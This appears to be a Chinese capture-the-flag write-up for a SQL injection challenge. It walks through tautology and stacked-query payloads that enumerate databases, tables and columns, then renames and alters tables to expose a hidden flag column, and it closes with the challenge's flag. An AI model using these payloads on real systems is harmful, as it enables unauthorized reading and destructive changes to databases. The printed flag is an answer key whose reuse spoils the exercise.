首先用1' or 1=1# 提交，可以把表中数据都查询出来，但没有我们需要的东西。
想尝试用联合查询1' union select 1,2
发现被过滤了很多。
然后查询数据库1';show databases;#
然后查询表1';show tables;#
查询words中的列1';show columns from words;#
发现words中有 id 和 data，查询1919810931114514表中所有列(字符串为表名操作时要加反单引号)
1';show columns from `1919810931114514`;#
发现flag
这道题没有禁用rename和alter，所以我们可以采用修改表结构的方法来得到flag将words表名改为words1，再将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者添加id字段
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
表已经被改变
再开始刚才的操作，就能查到了
flag{061fcc47-cc4e-4522-aff8-08bb73f8aed5}